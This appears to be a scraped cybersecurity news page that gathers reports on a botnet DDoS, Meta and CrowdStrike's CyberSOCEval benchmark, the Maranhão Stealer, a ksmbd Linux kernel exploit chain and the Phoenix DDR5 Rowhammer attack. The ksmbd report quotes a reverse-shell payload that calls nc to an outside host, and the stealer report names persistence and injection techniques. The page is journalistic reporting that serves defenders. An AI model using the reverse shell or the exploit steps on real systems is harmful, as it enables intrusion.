The newly identified AISURU botnet, leveraging an estimated 300,000 compromised routers worldwide, has been pinpointed as the force behind a record-shattering 11.5 Tbps distributed denial-of-service (DDoS) attack in September 2025. This unprecedented assault eclipses the previous 5.8 Tbps peak seen earlier in the year and underscores a dangerous escalation in botnet scale and sophistication. First […]
A groundbreaking open-source benchmark suite called CyberSOCEval has emerged as the first comprehensive evaluation framework for Large Language Models (LLMs) in Security Operations Center (SOC) environments.
Released as part of CyberSecEval 4, this innovative benchmark addresses critical gaps in cybersecurity AI evaluation by focusing on two essential defensive domains: Malware Analysis and Threat Intelligence Reasoning.
The research, conducted by Meta and CrowdStrike, reveals that current AI systems are far from saturating these security-focused evaluations, with accuracy scores ranging from approximately 15% to 28% on malware analysis tasks and 43% to 53% on threat intelligence reasoning.
Key Takeaways 1. CyberSOCEval, the first open-source benchmark testing LLMs on Security Operations Center tasks. 2. Current LLMs achieve only 15-28% accuracy on malware analysis and 43-53% on threat intelligence. 3. 609 malware questions and 588 threat intelligence questions evaluate AI systems on JSON logs, MITRE ATT&CK mappings, and complex attack chains.
These results highlight significant opportunities for improvement in AI cyber defense capabilities.
CyberSOCEval Malware Analysis
CyberSOCEval’s Malware Analysis component leverages real sandbox detonation data from CrowdStrike Falcon® Sandbox, creating 609 question-answer pairs across five malware categories, including ransomware, Remote AccessTrojans (RATs), infostealers, EDR/AV killers, and UM unhooking techniques.
The benchmark evaluates AI systems’ ability to interpret complex JSON-formatted system logs, process trees, network traffic, and MITRE ATT&CK framework mappings.
Technical specifications include support for models with up to 128,000 token context windows, with filtering mechanisms that reduce report size while maintaining performance integrity.
The evaluation covers critical cybersecurity concepts, including T1055.001 (Process Injection), T1112 (Registry Run Keys), and API calls like CreateRemoteThread, VirtualAlloc, and WriteProcessMemory.
The Threat Intelligence Reasoning benchmark processes 588 question-answer pairs derived from 45 distinct threat intelligence reports sourced from CrowdStrike, CISA, NSA, and IC3.
Unlike existing frameworks such as CTIBench and SEvenLLM, CyberSOCEval incorporates multimodal intelligence reports combining textual indicators of compromise (IOCs) with tables and diagrams.
The evaluation methodology employs both category-based and relationship-based question generation using Llama 3.2 90B and Llama 4 Maverick models.
Detonation report distribution by malware attack & Distribution by topic and difficulty
Questions require multi-hop reasoning across threat actor relationships, malware attribution, and complex attack chain analysis mapped to frameworks like MITRE ATT&CK.
Reasoning models leveraging test-time scaling did not demonstrate the performance improvements observed in coding and mathematics domains, suggesting cybersecurity-specific reasoning training represents a key development opportunity, Meta said.
The benchmark’s open-source nature encourages community contributions and provides practitioners with reliable model selection metrics while offering AI developers a clear development roadmap for enhancing cyber defense capabilities.
Free live webinar on new malware tactics from our analysts! Learn advanced detection techniques -> Register for Free
Since May 2025, a novel credential stealer dubbed Maranhão Stealer has emerged as a significant threat to users of pirated gaming software. Distributed through deceptive websites hosting cracked launchers and cheats, the malware leverages cloud-hosted platforms to deliver trojanized installers that appear innocuous.
Upon execution, the installer unpacks a Node.js–compiled binary encapsulated in an Inno Setup executable, initiating a silent infection process that avoids user detection while harvesting sensitive data.
In its initial campaigns, threat actors attracted victims with enticing download links such as DerelictSetup.zip, promising modified game content.
Behind the scenes, however, the Inno Setup wrapper drops several components, including updater.exe, crypto.key, and infoprocess.exe, into a hidden “Microsoft Updater” directory under %localappdata%\Programs.
Infection chain (Source – Cyble)
Cyble analysts noted that the malware establishes persistence through Run registry keys and scheduled tasks immediately after deployment.
The impact of Maranhão Stealer extends beyond simple credential theft. By injecting a reflective DLL into browser processes, it bypasses security measures like AppBound encryption to exfiltrate stored passwords, cookies, and browsing history from Chrome, Edge, Brave, Opera, and other Chromium-based browsers.
Cyble researchers identified that the malware also targets cryptocurrency wallets—Electrum, Exodus, Coinomi, and more—making it a dual threat to both traditional account credentials and digital asset wallets.
In addition to credential harvesting, Maranhão Stealer conducts extensive system reconnaissance. It gathers hardware and network information via WMI queries such as wmic os get Caption and external API calls to ip-api.com/json, profiling the operating system, CPU, disk space, and geographic location of the infected host.
Screenshots captured through inline C# in PowerShell further augment the stolen intelligence, enabling threat actors to monitor user activity in real time.
Infection Mechanism
A closer examination of the infection mechanism reveals a multi-stage process designed for stealth and reliability.
Upon execution of the Inno Setup installer, the main payload (updater.exe) is launched in /VERYSILENT mode, suppressing any installation dialogs.
Persistence is immediately secured with a registry modification:-
Once the Run key is in place, the malware marks its directory and files with hidden and system attributes through attrib +h +s, ensuring they remain obscured from casual inspection.
The next phase involves spawning a helper process, infoprocess.exe, which injects a payload DLL directly into running browser processes.
Using low-level Windows APIs—NtAllocateVirtualMemory, NtWriteProcessMemory, and CreateThreadEx—the malicious module is mapped into the target’s memory space without touching the disk.
This reflective injection technique not only evades antivirus scans but also runs inside the context of legitimate browser executables, making detection even more challenging.
By combining social engineering, cloud-based distribution, and advanced injection tactics, Maranhão Stealer exemplifies the evolving sophistication of modern credential stealers.
Security teams should prioritize application control policies, endpoint monitoring for anomalous registry edits, and behavioral analysis to detect and block such stealthy threats in their early stages.
Free live webinar on new malware tactics from our analysts! Learn advanced detection techniques -> Register for Free
A 0-Click Linux Kernel KSMBD RCE Exploit From N-Day Vulnerabilities, achieving remote code execution on a two-year-out-of-date Linux 6.1.45 instance running the kernelspace SMB3 daemon, ksmbd.
By chaining two authenticated N-day flaws, CVE-2023-52440 and CVE-2023-4130, the exploit attains an unauthenticated SLUB overflow and an out-of-bounds heap read primitive, culminating in a user-mode helper invocation and reverse shell without any manual interaction.
Key Takeaways 1. Chained two ksmbd N-day bugs SLUB overflow and OOB read to achieve 0-click RCE. 2. Heap-sprayed and overflowed kmalloc slabs to bypass KASLR and hijack a forged vtable. 3. Executed a ROP chain via call_usermodehelper() for a reverse shell.
Targeting ksmbd: A Kernelspace SMB3 Daemon
Eternal-Tux reports that the ksmbd module implements an in-kernel SMB3 server to offload performance-critical tasks from userspace. Its challenge-response NTLM authentication and extended attribute handling introduced two high-severity bugs in 2023 and 2024.
CVE-2023-52440 arises in ksmbd_decode_ntlmssp_auth_blob(), where an unchecked sess_key_len leads to a controlled SLUB overflow during cifs_arc4_crypt().
By setting the session_key to an attacker-supplied blob via Impacket’s ntlmChallengeResponse, the exploit gains a reliable heap-overflow primitive.
Next, CVE-2023-4130 resides in smb2_set_ea(), where improper length validation of smb2_ea_info entries enables an authenticated OOB read of adjacent heap chunks into an extended attribute.
Evil smb2_ea_info object
The researcher leveraged Impacket’s setInfo() and queryInfo() functions to craft malicious EA buffers and leak kernel heap contents, performing a KASLR bypass and precise heap grooming.
The Exploit Chain
On a single-core testbed with standard mitigations enabled (SMEP, SMAP, KPTI, KASLR, hardened SLUB), the exploit begins by spraying multiple TCP connections to allocate pairs of ksmbd_conn (kmalloc-1k) and ksmbd_session (kmalloc-512) objects.
A “spray, leak, retry” loop ensures a valid session leak, while an “overflow, oracle, retry” pattern isolates the overflowed connection.
By abusing the SLUB overflow, the attacker corrupts the Preauth_HashValue pointer in a ksmbd_session, converting it into an arbitrary free on kmalloc-1k.
Overflow and corruption of ksmbd_session object
Subsequent EA-based leaks identify a target ksmbd_conn object, revealing kernel pointers and computing the KASLR base. With precise offsets in hand, a second SLUB overflow triggers an arbitrary free and reallocation of a forged vtable object.
The corrupted local_nls pointer in ksmbd_conn is overwritten to point to a fake vtable containing ROP gadgets: pop rdi; ret, pop rsi; ret, pop rdx; ret, pop rcx; ret, and a leave; ret stack pivot.
The final payload invokes call_usermodehelper(“/usr/bin/nc.traditional”, “-e”, “/bin/sh”, “ctfi.ng”, “16549”) followed by msleep() to freeze the kernel thread, spawning a reverse shell on port 16549.
Although ksmbd sees limited production deployment, this exploit chain underscores the kernel’s expanding attack surface as userspace modules migrate into kernelspace.
Eternal-Tux’s research exemplifies the evolving sophistication of N-day exploit development and the critical need for rigorous kernel vulnerability management.
Free live webinar on new malware tactics from our analysts! Learn advanced detection techniques -> Register for Free
A team of academics from ETH Zürich and Google has discovered a new variant of a RowHammer attack targeting Double Data Rate 5 (DDR5) memory chips from South Korean semiconductor vendor SK Hynix.
The RowHammer attack variant, codenamed Phoenix (CVE-2025-6202, CVSS score: 7.1), is capable of bypassing sophisticated protection mechanisms put in place to resist the attack.
“We have proven that
Apple has released a comprehensive security update for iOS 26 and iPadOS 26, addressing 27 vulnerabilities across multiple system components. The update, released on September 15, 2025, targets devices including iPhone 11 and later models, along with various iPad generations from iPad Pro 12.9-inch 3rd generation onwards. Critical System Components Affected The security patches span 23 different system […]
A pair of medium-severity vulnerabilities in the Spring Framework and Spring Security libraries were disclosed on September 15, 2025. Both flaws involve the annotation detection mechanism used by Spring Security’s method security features and can lead to authorization bypass in applications that rely on parameterized types or unbounded generic superclasses. Users of affected versions should […]
A new Rowhammer attack variant named Phoenix can bypass the latest protections in modern DDR5 memory chips, researchers have revealed.
The attack is the first to demonstrate a practical privilege escalation exploit on a commodity system equipped with DDR5 RAM, undermining the assumption that these newer memory modules were immune to such threats.
Rowhammer is a long-standing hardware vulnerability where repeatedly accessing (or “hammering”) rows of memory cells in a DRAM chip can cause electrical interference, leading to bit flips in adjacent, unaccessed rows.
While numerous attacks have targeted older DDR3 and DDR4 memory, DDR5 was designed with more sophisticated in-DRAM Target Row Refresh (TRR) mechanisms to prevent this.
These mitigations were believed to be effective, as previous attempts to trigger Rowhammer bit flips on DDR5 devices had largely failed.
Self-Correcting Synchronization
Researchers from ETH Zurich and Google discovered that the TRR mechanisms in DDR5 chips from vendor SK Hynix operate over significantly longer and more complex patterns than those in DDR4.
To bypass these defenses, an attack must remain synchronized with thousands of periodic refresh commands issued by the memory controller.
The research team found that existing synchronization techniques were not reliable enough for this task, as they would frequently miss refresh commands and lose alignment, rendering the attack ineffective.
The key innovation behind the Phoenix attack is a technique the researchers call self-correcting synchronization. Instead of trying to avoid missing refresh commands, Phoenix is designed to detect when a refresh has been missed and automatically realign its hammering pattern accordingly.
hammering pattern
This allows the attack to maintain synchronization for the extended periods required to accumulate enough “hammers” to cause bit flips, even on a standard commodity computer with default settings.
By reverse-engineering the behavior of the TRR mechanisms, the team developed custom hammering patterns that exploit “blind spots” in the defense, hammering specific memory locations in lightly monitored refresh intervals.
The Phoenix attack proved highly effective in tests. It successfully triggered bit flips on all 15 commercial DDR5 memory modules from SK Hynix that were evaluated, which were manufactured between 2021 and 2024.
Using these bit flips, the researchers developed the first end-to-end Rowhammer exploit for DDR5, allowing them to gain the highest-level (root) privileges on a test system in as little as 109 seconds. The vulnerability has been assigned the identifier CVE-2025-6202.
The findings were responsibly disclosed to SK Hynix, CPU vendors, and major cloud providers in June 2025. While increasing the memory refresh rate by a factor of three was shown to mitigate the attack, it incurred a significant performance overhead of 8.4%.
The researchers argue that Phoenix demonstrates the need for manufacturers to implement principled, verifiable security measures rather than relying on proprietary, obscure mitigations that can be bypassed with enough effort.
Free live webinar on new malware tactics from our analysts! Learn advanced detection techniques -> Register for Free
A sophisticated new information-stealing malware campaign dubbed Maranhão Stealer has emerged, targeting gaming enthusiasts through malicious pirated software distributed via cloud-hosted platforms. The campaign, first identified by security researchers in May 2025, represents a concerning evolution in credential theft operations, combining social engineering tactics with advanced evasion techniques to compromise user accounts and cryptocurrency wallets. The Maranhão […]
The NPM ecosystem is under attack once again, with a sophisticated supply chain compromise targeting the widely-used @ctrl/tinycolor package and over 40 other JavaScript packages. This latest incident represents a significant escalation in supply chain threats, featuring self-propagating malware that automatically spreads across the ecosystem. Diagram showing how phishing emails with malicious URLs or HTML […]
.webp)
.webp)
